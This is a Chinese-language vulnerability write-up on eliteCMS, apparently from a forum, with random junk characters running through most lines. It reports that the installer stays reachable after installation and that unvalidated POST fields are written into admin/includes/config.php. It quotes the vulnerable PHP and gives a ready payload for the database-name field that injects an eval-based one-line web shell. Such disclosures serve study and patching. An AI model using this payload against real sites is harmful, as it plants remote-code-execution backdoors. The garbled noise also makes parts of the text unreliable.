eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
+ i3 X: K* {0 M2 P7 h& o+ S2 W# z6 P3 g1 t; O: v3 Y
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php: N9 A0 j ~& p" ~1 J7 b5 w1 h* C
我们来看代码:( e+ M1 p) J, Q. Z" h5 _
# V9 _3 B* I4 f& Q; @
...
2 F. J; R* [0 telseif ($_GET['step'] == "4") {0 r8 T5 T0 Z8 m, O
$file = "../admin/includes/config.php";
$ k. f* j" G* f8 B $write = "<?php\n";
8 J! ^ H& G$ t4 F# }9 w6 [7 A' v" t6 q $write .= "/**\n";
2 Q3 u9 N9 M) C/ E $write .= "*\n";
6 W& }9 e6 m% h# J& j $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
# u9 ?; w# j$ U* G" o* N...略...- A5 f+ l; u+ A1 Y4 s% N; @
$write .= "*\n";
% G x" u! F7 o4 h6 W* q4 Z- O $write .= "*/\n";9 N3 G) Q& A" X
$write .= "\n";9 B7 T/ o) ]) y& _' T; w
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";$ _4 y m* X9 z
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
2 J) k7 ^; z- L- W, u @7 o, P8 W3 f $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
& V& c7 S' R6 R. R' }4 Y $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";" ?2 G T/ C) `( C5 V K$ {
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";% i: l. K# o% ^
$write .= "if (!\$connection) {\n";. J# C, n. x* _4 q2 X
$write .= " die(\"Database connection failed\" .mysql_error());\n";
' c9 I$ l) P w: u, [ $write .= " \n";
5 _+ }3 d; I2 q5 D4 Z) G U" I $write .= "} \n";. {+ R/ z% d! ]/ r0 h' f5 U$ [
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";( ]2 U; Q6 r& w4 R
$write .= "if (!\$db_select) {\n";
) T( k. f8 f, p, S/ j: h0 ^ $write .= " die(\"Database select failed\" .mysql_error());\n";
g4 B1 b0 ^; q1 q) S $write .= " \n";& t: u% n1 J- I8 x* @
$write .= "} \n";5 T1 X, j( ?0 O
$write .= "?>\n";
[$ Q: ^# D6 @; {6 b" E/ X
- N/ H8 y/ B5 V" W( D% ~, g; R $writer = fopen($file, 'w');3 z/ k$ o( \+ D3 L5 ^- Z
...
' P) m) N% X- u- y( E! A: H z
+ L2 G: g. l5 }. ~2 b. d+ i" V在看代码:" t% t0 [6 s9 y1 {. l
) c% }4 b% d7 c( c/ ?
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];( ~( M! {' M/ a. S: v7 r
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];) g" P/ [) _. a: P
$_SESSION['DB_USER'] = $_POST['DB_USER'];
6 l$ I6 ?5 @8 l, T- u5 a& P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];7 M1 ^ I6 f8 i
) [9 \1 d' J/ g+ u+ V取值未作任何验证7 A" E) D+ K2 S& l1 J0 p
如果将数据库名POST数据:
g D$ v# P0 V$ j; g
' b/ a( G" K; f+ E2 c"?><?php eval($_POST[c]);?><?php
+ K8 L, b/ F. X! l 6 M% c2 ~' J1 G' l
将导致一句话后门写入/admin/includes/config.php
: Q/ N1 T" ?- w( O |